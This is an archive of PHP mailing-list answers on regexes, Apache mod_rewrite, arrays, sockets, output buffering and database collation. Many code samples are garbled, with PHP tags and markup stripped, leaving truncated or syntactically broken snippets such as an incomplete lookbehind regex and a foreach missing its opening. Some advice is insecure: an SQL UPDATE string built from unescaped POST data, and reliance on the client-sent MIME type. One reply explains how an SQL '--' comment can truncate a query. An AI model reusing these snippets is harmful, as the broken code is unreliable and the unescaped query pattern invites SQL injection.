Re: [PHP] Stripping!!!
> "S" == "K Simon" <[EMAIL PROTECTED]> writes: > Thx, but could anybody give me an example? It shouldnt be too hard?! If you feel you have to do it in php then this should work. You'd save a lot of effort if you used the unix 'cut' command though. cut -d ' ' -f 1 inputfile.txt > outputfile.txt is equivalent to (but considerably faster than) this: -- Still nothing -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] stripping the keywords from a search engine... again...
> "BC" == Brian Clark <[EMAIL PROTECTED]> writes: > Hello Dallas, > (DK == "Dallas Kropka") [EMAIL PROTECTED] writes: DK> Posted earlier but got no response so here it is again... > I gave you a quick explanation of one way to do it earlier, but I > know of no tutorials off the top of my head. > Here is a lengthy example if you _have_ to see code: (...) > But there has to be an easier solution out there that's already > been ridden to death. The above is going to get nasty rather > quickly I'd imagine, and every search engine, more than likely, is > going to have a completely different query string. There's no way > I'm going to look. :) Hiyah, This is a slightly more flexible way of doing pretty much the same thing. You can then log the output of search_term($HTTP_REFERER) for later analysis. I've not split the search terms up into words (I'm thinking of how boolean searches like 'foo AND NOT bar' would skew the results and how search phrases like 'foo AND "bar baz"' would be split up). Unfortunately, the analysing the logs (properly) is going to be more of a job. -robin "q", "www.google.com"=> "q", "search.yahoo.com" => "p", "search.excite.com" => "search", "www.lycos.com" => "query", "www.lycos.co.uk" => "query" ); // if no referer's been passed, forget it. if(!isset($referer) || empty($referer) ) return false; // split the url into logical bits. $url = parse_url( $referer ); // if we don't recognise the search engine forget it. if(! $terms = $engine[strtolower( $url['host'] )] ) return false; // parse the query part of the url and put it in $REFERER_GET_VARS. parse_str( $url['query'], $REFERER_GET_VARS ); // find the appropriate value and return it together with the search engine as a hash. return array( "engine" => strtolower( $url['host'] ), "term" => $REFERER_GET_VARS[$terms] ); } print_r( search_term( $HTTP_REFERER ) ); ?> -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] Non-existant folders??
>>>>> "AM" == "Adrian Murphy" <[EMAIL PROTECTED]> writes: > Hi, I'm creating a little app whereby people will be able to create > a simple site for themselves (maybe 10 html pages). here's the > problem: say their company is called "companyname" and my site is > called "www.mysite.com" i'd like their site to be located at > "http://www.mysite.com/companyname" > Is there a way i can do this without creating indivual folders for > each company.I'd like the whole creation process to be automated. > I'm sure the ftp functions in php would allow for the generation of > new folders for each,but since all content/style etc. will be > pulled from a DB it's seems to me a little pointless having all > these folders with the same php page in each.essentially i'd like a > php script to run automatically each time taking what looks like a > folder name and making a call to the db using this name as a > variable. easy, difficult or impossible? thanx, adrian Hiyah, It Depends on your web server. If you're using Apache then you can do it with a few lines in your config file using mod_rewrite. Something similar to: RewriteEngine On RewriteRule ^/([^/]+)/(.*) /scripts/$2 [E=companyname:$1] Which given a url such as http://yoursite.com/mycompany/index.php should (I've not tested it) call /scripts/index.php with the environment variable 'companyname' set to 'mycompany'. You then use this in all your SQL queries. -robin -- Robin Vickery... Planet-Three, 3A West Point, Warple Way, London, W3 0RG, UK Email: [EMAIL PROTECTED] Phone: +44 (0)870 729 5444 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] Tough one?
>>>>> "M" == "Mike" <[EMAIL PROTECTED]> writes: > I am building an update string on the fly from form fields.I am > trying to add a comma between fields but I cant have one after the > last field.This is the code that doesnt work.Also I cant have a > comma at all in a table with only one updated field. > $keys = array_keys($HTTP_POST_VARS); > for($x = 2; $x < count($keys); $x++) > { > $updateString=$updateString.$keys[$x]."='".$HTTP_POST_VARS[$keys[$x]]."',"; > } OK, making assumptions about the order of the fields in the form is dangerous. Making assumptions about the order of an associative array is doubly so, although PHP seems remarkably forgiving about it. But assuming that's really what you want: $value) $pairs[] = $key . "='" . $value . "'"; $updateString .= join(', ', $pairs); ?> -- Robin Vickery. BlueCarrots, 14th Floor, 20 Eastbourne Terrace, London, W2 6LE -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] I'm confused about Regular Expressions.
>>>>> "p" == php3 <[EMAIL PROTECTED]> writes: > Addressed to: "Kenneth R Zink II" <[EMAIL PROTECTED]> > [EMAIL PROTECTED] > ** Reply to note from "Kenneth R Zink II" <[EMAIL PROTECTED]> Wed, > 21 Feb 20= 01 11:42:28 -0600 >> --=3D_NextPart_000_00AC_01C09BFB.5E254010 Content-Type: >> text/plain; charset=3D"iso-8859-1" Content-Transfer-Encoding: >> quoted-printable >> Can someone please explain how I would use a REGEX to determine in >> and = > =3D >> uploaded file is a .gif or .jpg file? > if( ereg( 'gif|jpg', $filename )) > Better yet, try doing a getImageSize() on the uploaded file, before > you move it and look at the [2] element of what is returned. This > will give you the actual type of file from inspecting its contents > rather than just trusting the extension that was typed. Or look at the mime type held in $HTTP_POST_FILES['uploadname']['type'] -- Robin Vickery. BlueCarrots, 14th Floor, 20 Eastbourne Terrace, London, W2 6LE -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] newbie array question
>>>>> "S" == "stas" <[EMAIL PROTECTED]> writes: > Thanks, I know that, but I don't want to type out assignments > manually, as my list of my form values will grow. However, I solved > very simply like this: > $form_val_list = >"firstname,lastname,address,address2,city,state,zip,phone,email,resume"; > $form_arr = explode (",", $form_val_list); > while (list ($key, $val) = each ($form_arr)) { > $new_arr[ $val] = "some test value"; > } If you're not bothered about the initial values in the hash, you can do it with array_flip() like this: You'll end up with a hash like this: $form = array( 'firstname' => 0, 'lastname' => 1, 'city' => 2, 'state' => 3, 'phone' => 4 ); -- Robin Vickery... Planet-Three, 3A West Point, Warple Way, London, W3 0RG, UK Email: [EMAIL PROTECTED] Phone: +44 (0)870 729 5444 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] Replace everything except of...
>>>>> "MT" == Martin Thoma <[EMAIL PROTECTED]> writes: > Hello ! How can I use eregi_replace to replace every ">" with > ">", except when it's "" ?? You need a lookbehind assertion... $string = preg_replace( '/(?/i', '>', $string ); -robin -- Robin Vickery... Planet-Three, 3A West Point, Warple Way, London, W3 0RG, UK Email: [EMAIL PROTECTED] Phone: +44 (0)870 729 5444 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP] Re: Regex help
[EMAIL PROTECTED] (Stefen Lars) writes: > In the Apache config file, we have the following directive: > > SetEnvIfNoCase Referer "^http://www.oursite.com/"; local_ref=1 > > > Order Allow,Deny > Allow from env=local_ref > > > We use this to prevent people from directly linking to .gif and .jpg > files. > > However, we have to add more and more file types to the FilesMatch > directive. Currently it looks like this: > > > > However, this list continues to grow. And we can never be sure that > every file type is included. > > It occurred to me that it would be better to say "do not serve any > files except .htm, .html and .php files.". > > > I have spent quite a long time with several regexes, but I am unable > to create a regex that archives this seemingly simple talk. > How about this approach? SetEnvIfNoCase Referer "^http://www.oursite.com/"; local_ref=1 Order Allow,Deny Allow from env=local_ref Allow from all I'd tighten up your regex slightly too. As it was it would match pretty much any filename with those letters in it; The '.' matches any character and it's not anchored to the end of the string. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP] Re: Regular Expressions - A relatively simple search...
[EMAIL PROTECTED] (Mike Gifford) writes: > Hello, > > I'm trying to replace a couple of lines of code: > > $dotpos = 1 - (strlen($userfile_name) - strpos($userfile_name, '.')); > $extension = substr($userfile_name, $dotpos); > > with a simpler regular expression: > $extension = eregi_replace( "/.*", "", $userfile_name); > > However it isn't working.. > > What I'd like to do is to find the extension of a file name and place > that in a variable. So in '/home/mike/test.txt', I want to have the > statement return 'txt' you don't need a regular expression for that... $extension = strrchr(basename($userfile_name), '.'); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] Re: How to pass variables to php functions from url's?
[EMAIL PROTECTED] (Martin Lindhe) writes: > > Hi Martin, > > > > Take a look at the Apache mod_rewrite docs. > > > > http://httpd.apache.org/docs-2.0/mod/mod_rewrite.html > > > Thanks alot! > I made a similar solution which works > > RewriteEngine on > RewriteRule "^/x/(.*)""http://www.server2.com/users/$1"; > > takes www.server1.com/x/martin to www.server2.com/users/martin > > Great! I'm also wondering wether i can hide this redirect, as of > now the redirected url is shown to the user useful link: http://www.apache.org/docs-2.0/misc/rewriteguide.html RewriteEngine on RewriteRule ^/x/(.*)http://www.server2.com/users/$1 [P] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP] Re: preg_replace_callback()
[EMAIL PROTECTED] (Richard Lynch) writes: > A "callback" is when you execute a function, and you provide to it a name of > *another* function, which it will call on some data in the middle of its > task. > > It's a very handy way to provide extreme flexibility in functional > languages. > > For example: > > function my_array_walk($array, $function){ > while (list($k, $v) = each($array)){ > # Here's the magic that implements a 'callback' > $function($k, $v); > } > } > > function your_echo($key, $value){ > echo "$key $value\n"; > } > > $foo = array('a'=>1, 'b'=>2, 'c'=>3); > > my_array_walk($foo, 'your_echo'); > > This rather silly example will "walk" the array and call 'your_echo' on each > key/value pair. > > Dunno exactly how preg_ uses it though... It calls the callback function for each match, passing it an array. The matching string is replaced by whatever the callback function returns. Here's a fairly pointless example of names and email addresses being replaced by mailto links with a bit of extra processing on their name... -robin mailto:{$match[2]}\";>{$match[1]}"; } $testString =<< "Tommy Atkins" <[EMAIL PROTECTED]> "Davey Jones" <[EMAIL PROTECTED]> EOS; $outputString = preg_replace_callback('/"(.+?)"\s*<(.+?)>/', 'mailto', $testString); print " $outputString "; ?> -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] PHP Redirect in the middle of code?
[EMAIL PROTECTED] (George Pitcher) writes: > Andrew, > > I am in a similar position witha Lasso site, which I am considering php-ing. > I need to do conditional redirects. > > George P, Edinburgh > > - Original Message - > From: "Andrew Penniman" <[EMAIL PROTECTED]> > To: <[EMAIL PROTECTED]> > Sent: Monday, September 10, 2001 3:37 PM > Subject: [PHP] PHP Redirect in the middle of code? > > > > I am trying to figure out how to use PHP to redirect the user to a new > > location *after* processing and most likely outputting a bunch of code. > > Because this redirection would happen late in the game I can't use > > header("Location: ".$redirect_to); You should probably look at ouput buffering; the php manual has a section on the subject at http://uk.php.net/manual/en/ref.outcontrol.php and Zeev Suraski wrote an article at Zend http://zend.com/zend/art/buffering.php -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP] Re: problem in the small code
[EMAIL PROTECTED] (Balaji Ankem) writes: > What is the problem with following code.. > $sql1="DELETE from tinventory where inv_tag='$inv_tag'; no closing doublequote. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP] find quoted string within a string (more of a regex question, though ..)
On Fri, 10 Sep 2004 11:43:54 +0200, Wouter van Vliet <[EMAIL PROTECTED]> wrote: > > For my own reasons (can explain, would take long, won't till sbody > asks) I want to match a quoted string within a string. That is somehow > kind of easy, I know ... if it weren't for the slashing of quotes. The standard perl regexp for matching double-quote delimited strings is this: /"([^"\\]|\\.)*"/ which copes nicely with escaped characters. You'll probably need to double up the backslashes in php. $regex = '/"([^"]|.)*"/'; -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Question about array_search
On Mon, 11 Oct 2004 09:07:13 -0700, Brian Dunning <[EMAIL PROTECTED]> wrote: > The problem is that if the item is at index 0 in the array, array_search gives the > same answer as if it's not in there at all. No it doesn't. If it's in index 0 it returns 0, if it's not there at all it returns FALSE. you need to use something like: if (array_search($needle, $haystack) === false) { // add $needle to $haystack } http://lv.php.net/array-search http://php.net/manual/en/language.operators.comparison.php -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] getting rid of NOTICE
On Thu, 7 Oct 2004 14:04:00 +0800, Roger Thomas <[EMAIL PROTECTED]> wrote: > I have this short script (below) that does checking whether a userid has an > associated jpegPhoto in an LDAP database. The script is working fine but gave a > 'Notice' msg bcos I made error_reporting to report all errors. > > Notice: Undefined index: jpegphoto in test.php on line 34 > > Question: How do I make the Notice go away without changing error reporting to > error_reporting (E_ALL & ~E_NOTICE) ? > [...] > $photo = $resultEntries[0]["jpegphoto"]; It's complaining because you're trying to read from an array index that hasn't been set, Assuming this isn't a typo or something, if you want to avoid the notice you normally have two options: 1. initialise all the indexes that you plan to use. 2. check whether the index has been set before you try to read from it. In this case, you're pretty much stuck with the second option as you're getting the array from an external source. So do something like this: $photo = isset($resultEntries[0]["jpegphoto"]) ? $resultEntries[0]["jpegphoto"] : array('count' => 0); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Fwd:
> Original-Recipient: rfc822;[EMAIL PROTECTED] It's whoever's subscribed under the address [EMAIL PROTECTED] - I tried complaining to them a couple of weeks ago but got no response. One of the few times I *haven't* got a response from them in fact. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] str_replace problem
On Wed, 20 Oct 2004 01:02:12 -0500, Chris Ditty <[EMAIL PROTECTED]> wrote: > Hi all. I'm trying to do a little code snippets page for a site I am > working on. I figured it would be simple enough. I would do a > str_replace and replace the various html codes with the ascii > eqivulant. Unfortunately, it is not working as expected. Can anyone > help with this? > > This is what I am using. > $snippetCode = str_replace("\n", "", $snippet['snippetCode']); > $snippetCode = str_replace("<", ">", $snippetCode); > $snippetCode = str_replace(">", "<", $snippetCode); > $snippetCode = str_replace("&", "&", $snippetCode); > > This is what is in $snippet['snippetCode']. > ?> > This is what is showing on the web page. > ?<>pre<>? print_r($ArrayName); ?<>/pre<>? Ok, first off there are builtin functions to do this kind of thing: http://www.php.net/htmlspecialchars http://www.php.net/nl2br Secondly, think about what your code is doing, and the order that it's doing the replacements. The first thing you're doing is replacing the newlines with tags. The second and third things you're doing will disable all the tags including the tags you've just inserted, by replacing '<' with < and '> with > html entities; The fourth thing you're doing is disabling the html entities by replacing '&' with & including the entities you've just inserted as steps two and three. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PCI compliance issue
2009/6/2 Skip Evans > Hey all, > > The original programmer created the following in the system's .htaccess > file: > > RewriteCond %{REQUEST_FILENAME} !-f > RewriteCond %{REQUEST_FILENAME} !-d > RewriteRule .* index.php > > ...which sends any incorrect URL to the home page, correct? It rewrites any request for a non-existent file or directory to index.php. The first url (http://www.ranghart.com/cgi-bin/?D=A) requests the cgi-bin directory. Presumably this directory exists in some form which would prevent your rewrite rule from firing, but access to the directory is denied - hence the 403 FORBIDDEN. The second url (http://www.ranghart.com/cgi-bin/%3fD=A) requests a file called /cgi-bin/?D=A. This file genuinely doesn't exist so the url gets rewritten to index.php - hence your 200 OK response. -robin
Re: [PHP] [php] read/write error
2009/6/8 HELP! > opening of the sorket is ok and writting LOGIN packet to the sorket is also > ok but reading the response to know if the login is accepted or rejected is > a not OK. Don't use fread() to read from sockets, use stream_get_contents(). Example 3 on the fread() manual page tells you why. -robin
Re: [PHP] Show the entire browser request
2009/6/10 Dotan Cohen > > Just checked your site in Elinks (works like Lynx) and I'm getting the > > headers come back to me. I'm assuming you changed your site code before > > me sending this and after you sent the original message? > > > > The individual headers are as they always were. It's the entire > request verbatim (valid or not) that I'd like to add. > Is installing the pecl_http extension on your server an option? http://php.net/manual/en/function.httprequest-getrawrequestmessage.php -robin
Re: [PHP] Show the entire browser request
2009/6/10 Robin Vickery > > > 2009/6/10 Dotan Cohen > >> > Just checked your site in Elinks (works like Lynx) and I'm getting the >> > headers come back to me. I'm assuming you changed your site code before >> > me sending this and after you sent the original message? >> > >> >> The individual headers are as they always were. It's the entire >> request verbatim (valid or not) that I'd like to add. >> > > Is installing the pecl_http extension on your server an option? > > http://php.net/manual/en/function.httprequest-getrawrequestmessage.php > Oh.. ignore that, sorry. I'm an idiot. -robin
Re: [PHP] order by what?
2009/6/11 PJ > How can order by be forced to order alphabetically and ignore accents > without stripping the accents for printout? This is a problem for both > caps & normal letters. Depends on the database. If you're using mysql, the order is governed by the collation used. To get the order you want, you need a case-insensitive and accent-insensitive collation. Exactly which one you use will depend on the character set that you're using, but if you're character set is utf8, then the utf8_general_ci collation should work: SELECT fieldname FROM tablename ORDER BY fieldname COLLATE utf8_general_ci; -robin
Re: [PHP] order by what?
2009/6/11 PJ > Robin Vickery wrote: > > > > > > 2009/6/11 PJ mailto:af.gour...@videotron.ca>> > > > > How can order by be forced to order alphabetically and ignore accents > > without stripping the accents for printout? This is a problem for > both > > caps & normal letters. > > > > > > Depends on the database. > > > > If you're using mysql, the order is governed by the collation used. To > > get the order you want, you need a case-insensitive and > > accent-insensitive collation. Exactly which one you use will depend on > > the character set that you're using, but if you're character set is > > utf8, then the utf8_general_ci collation should work: > > > > SELECT fieldname FROM tablename ORDER BY fieldname COLLATE > > utf8_general_ci; > > > > -robin > Nice thought, Robin. My collation is already uft8_general_ci. > Adding that condition to the query changes nothing; and specifying > another collation return a blank or null and the list is not echoed. > Even changing the collation in the db does not change anything. Same > wrong results. > Thanks anyway. Hiyah, Well the mysql docs confirm that utf8_general_ci is accent-insensitive and case-insensitive ( http://dev.mysql.com/doc/refman/5.4/en/charset-collation-implementations.html). Which implies that maybe you don't actually have utf8 text in that field. If you do a SHOW VARIABLES LIKE 'character_set%'; what do you get for character_set_client, character_set_results and character_set_connection? -robin
Re: [PHP] [php] read/write error
Hello Mr HELP! 2009/6/12 HELP! > > I can not get the stream_get_contents() to work. it's returning empty. Is that simply because there's nothing to read from the socket? > If you have a login details "ALOGINPASS 1A" cant you just fwrite($ft, > "ALOGINPASS 1A"); or do you need to add other things You've not told us what protocol you're using, but a quick google search seems to indicate that you're trying to send a login request message for a market data stream. You appear to using the character 'A' as the request terminator, whereas market data streams generally use 0x0A, which is a linefeed character. If the stream hasn't realised you've finished sending your login request, then it won't send a response. > what is the meaning of this string" GET / HTTP/1.0\r\nHost: > www.example.com\r\nAccept: */*\r\n\r\n" It's a HTTP 1.0 GET request, but that doesn't seem to be consistent with the rest of the data you've mentioned. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] most powerful php editor
On 21/01/07, Arno Kuhl <[EMAIL PROTECTED]> wrote: -Original Message- From: Vinicius C Silva [mailto:[EMAIL PROTECTED] Sent: 21 January 2007 02:54 To: php-general@lists.php.net Subject: [PHP] most powerful php editor For me the analogy goes something like this: if you type the occasional letter or note then Wordpad is perfectly adequate, but if your livelihood is churning out professional well-formatted heavy-weight documents then it pays you to invest in a top-class word processor and supporting tools. Or alternatively, use vim and LaTeX and produce documents of a consistently higher quality than practically any top-class word processor. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] array_pop() with key-value pair ???
On 16/02/07, Eli <[EMAIL PROTECTED]> wrote: Hi, Why isn't there a function that acts like array_pop() returns a pair of key-value rather than the value only ? Reason is, that in order to pop the key-value pair, you do: 1,'b'=>2,'c'=>3,'d'=>4); $arr_keys = array_keys($arr); $key = array_pop($arr_keys); $value = $arr[$key]; ?> I benchmarked array_keys() function and it is very slow on big arrays since PHP has to build the array. benchmark this: end($arr); list($key, $value) = each($arr); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] array_pop() with key-value pair ???
On 16/02/07, Németh Zoltán <[EMAIL PROTECTED]> wrote: 2007. 02. 16, péntek keltezéssel 10.23-kor Robin Vickery ezt írta: > On 16/02/07, Eli <[EMAIL PROTECTED]> wrote: > > Hi, > > > > Why isn't there a function that acts like array_pop() returns a pair of > > key-value rather than the value only ? > > > > Reason is, that in order to pop the key-value pair, you do: > > > $arr = array('a'=>1,'b'=>2,'c'=>3,'d'=>4); > > $arr_keys = array_keys($arr); > > $key = array_pop($arr_keys); > > $value = $arr[$key]; > > ?> > > > > I benchmarked array_keys() function and it is very slow on big arrays > > since PHP has to build the array. > > benchmark this: > > end($arr); > list($key, $value) = each($arr); array_pop also removes the element from the array so add one more line: unset($arr[$key]); Yeah, but he's not actually popping the last element of $arr, he's just using it to get the last key from $arr_keys. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] How do I force my script to exit after 5 seconds?
On 22/02/07, Aaron Gould <[EMAIL PROTECTED]> wrote: I tried this earlier, but it does not seem to work... It appears to just hang when no data is returned from the networked device. It seems as if the loop stops, and is waiting for something. http://www.php.net/manual/en/function.pcntl-alarm.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Language detection with PHP
On 28/03/07, Satyam <[EMAIL PROTECTED]> wrote: if you find accented letters, it is a sure sign that it is not English That's a rather naïve approach. Written accents in English may be rather passé, but they do exist. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Show Filename using Wildcards
On 29/03/07, Rahul Sitaram Johari <[EMAIL PROTECTED]> wrote: Ave, I have a script where I have to provide a Download Link to a file associated with a record. The common thing between the record & filename is the phone number. But the filenames have dates & other symbols besides the phone number as well. They all do begin with a phone number though. How can I match a filename with a record using wildcards? For example, let¹s say someone pulls up a record for phone field: 515515515 The files associated with this record could be 515515515031307 or 5155155150325T(2). So you can see the filenames do begin the phone number in the record, but they contain additional chars. What I need is something that can pull up all 515515515*.ext Can I do this in PHP? yeah, you use glob() http://www.php.net/glob -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Security Best Practice: typecast?
On 01/04/07, Richard Lynch <[EMAIL PROTECTED]> wrote: So, after a recent thread on data filtering, I'm wondering... Is this "good enough" in ALL possible Unicode/charset situations: $foo_id = (int) $_POST['foo_id']; $query = "insert into whatever(foo_id) values($foo_id)"; Or is it possible, even theoretically possible, for a sequence of: [-]?[0-9]+ to somehow run afoul of ANY charset? Depends how standard you want to get: '--' is the SQL comment character, so if you have something like: SELECT ... WHERE column-$foo > 3 AND password='$password' and foo is a negative integer, then in ANSI SQL, you've just commented out everything after 'column', leaving you with: SELECT ... WHERE column Mysql protects you from that by demanding a space after the comment sequence. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Sessioin Management URL rewriter problem
On Tue, 15 Jun 2004 09:50:55 -0400, Jeff Schmidt <[EMAIL PROTECTED]> > I have some tags that look like: > > > > And session management is rewriting these as: > > > > Which at first glance appears fine, right? But the problem is, according > to the validator, instead of having a literal ampersand char, it should > be &r;. So, is there any way to tell the url rewriter to delimit the > name=value pairs using &r instead of a literal ampersand? yeah, set arg_separator.output to "&" in your php.ini file. -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Syntax Help, Please
On Tue, 15 Jun 2004 13:20:24 -0400, Steve Douville <[EMAIL PROTECTED]> wrote: > > I've forgotten how to assign something like this... > > $someStr = EOF>>>" > bunch of raw non-echo'd html > " > EOF>>>; > > But can't seem to get the right syntax. Tried looking in the manual, but > don't even know what I'm looking for! Here they are in the manual: http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Unexpected behaviuor with __CLASS__
On Wed, 16 Jun 2004 11:49:31 +0200, Torsten Roehr <[EMAIL PROTECTED]> wrote: > > Hi list, > > on RedHat with PHP 4.3.6 the following code produces 'test' - I'm expecting > 'test2': > > class test { > function printClass() { > echo __CLASS__; > } > } > > class test2 extends test { > } > > test2::printClass(); > > I would like to get/echo the name of the class calling the method - in my > case test2. Any ideas? If you were using objects rather than class methods you could replace __CLASS__ with get_class($this) ...but you're not. you could use debug_backtrace() function printClass() { $details = array_shift(debug_backtrace()); print $details['class']; } -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] update count
On Wed, 16 Jun 2004 09:40:52 -0400, Bob Lockie <[EMAIL PROTECTED]> wrote: > > What is the best way to only do an update if it going to update only one > row? You don't say what database you're using. The general way is to use a unique key in the WHERE clause. UPDATE tablename SET foo=1 WHERE id=123 MySQL also lets you use a LIMIT clause that will either limit the number of rows affected by the update, or matched by the WHERE clause depending on the MySQL version. UPDATE tablename SET foo=1 WHERE bar=2 LIMIT 1 -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: Re: [PHP] Regular Expression - it works but uses way too much memory ?
On Fri, 18 Jun 2004 08:57:19 +0200 (CEST), Ulrik S. Kofod <[EMAIL PROTECTED]> wrote: > > Sorry to post this again but it's a little urgent. > > The preg_replace in my script allocates a little memory every time it is called and > doesn't free it again untill the script ends. > > I don't know if it is normal behaviour for preg_replace or if it is my reg. exp. > that causes this. > > The problem is that I call preg_replace a little more than 3 times and that > causes quite a lot of memory to be allocated. > > > > $replace = "/^(([a-z]+?[^a-z]+?){".($count)."})(".$typedmask.")(.*)/iS"; > > $with = "$1 > group=\"".$corr['grupper']."\" class=\"".$corr['ordklasse']."\" > > corrected-from=\"".$corr['typed']."\" > > corrected-to=\"".$corr['corrected']."\">$3 > sourcetext=".$corr['sourcetext']." id=".$corr['id'].">$4"; > > $text = preg_replace ($replace,$with,$text,1); > > > > The problem is that it accumulates memory up to 200MB, that isn't freed again until > > the script completes? The S modifier that you're using means that it's storing the studied expression. If the regexp changes each time around the loop then over 3 iterations, that'll add up. See if removing that modifier helps at all. $replace = "/^(([a-z]+?[^a-z]+?){".($count)."})(".$typedmask.")(.*)/i"; If that's not it, then these *might* save you some memory, although I've not tested them: I'm not entirely sure why you're matching (.*) at the end then putting it back in with your replacement text. Without running it, I'd have thought that you could leave out the (.*) from your pattern and the $4 from your replacement and get exactly the same effect. $replace = "/^(([a-z]+?[^a-z]+?){".($count)."})(".$typedmask.")/i"; ... sourcetext=".$corr['sourcetext']." id=".$corr['id'].">"; You could use a non-capturing subpattern for $2 which you're not using in your replacement. $replace = "/^((?:[a-z]+?[^a-z]+?){".($count)."})(".$typedmask.")/i"; And maybe a look-behind assertion for the first subpattern rather than a capturing pattern then re-inserting $1. $replace = "/^(?<=(?:[a-z]+?[^a-z]+?){".($count)."})(".$typedmask.")/i"; $with = "http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Please Help, returning path
On Fri, 18 Jun 2004 05:46:12 -0300, Manuel Lemos <[EMAIL PROTECTED]> wrote: > > On 06/18/2004 05:40 AM, Me2resh wrote: > > is there a function to detect the path of the directory > > i need my file to detect the path it is on it, not the http path but the > > path on server > > please help me with that > > getcwd() or dirname($_SELF); or to get the path of the actual file rather than the script: dirname(__FILE__); -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] variable question
On Sat, 19 Jun 2004 14:25:27 -0600, water_foul <[EMAIL PROTECTED]> wrote: > > is there a way to use one variable to create another? > Example > $poo=1 > and i want > $lie1 > OR > $poo=2 > and i want > $lie2 If I understand you right, you want: ${'lie' . $poo} when $poo is 1, that will give you $lie1, and when $poo is 2, it'll give you $lie2. You're almost certain to be better off using arrays though,,, -robin -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] how to iterate over fields names with mysql_fetch_assoc
On Sat, 19 Jun 2004 13:25:54 -0700, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote: > > How do I iterate over fields when I perform the below script: ... > If I write the below code, I only get the first field name of each > row...which makes sense > In this case, I get 'artist_name' > > while ($row = mysql_fetch_assoc($result)) >{ >$fieldName= key($row); >echo 'fieldName is: '.$fieldName."\n"; >} $fieldValue) { echo 'fieldName is: '.$fieldName."\n"; echo 'fieldValue is: '.$fieldValue."\n"; } } ?> -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Help with eregi
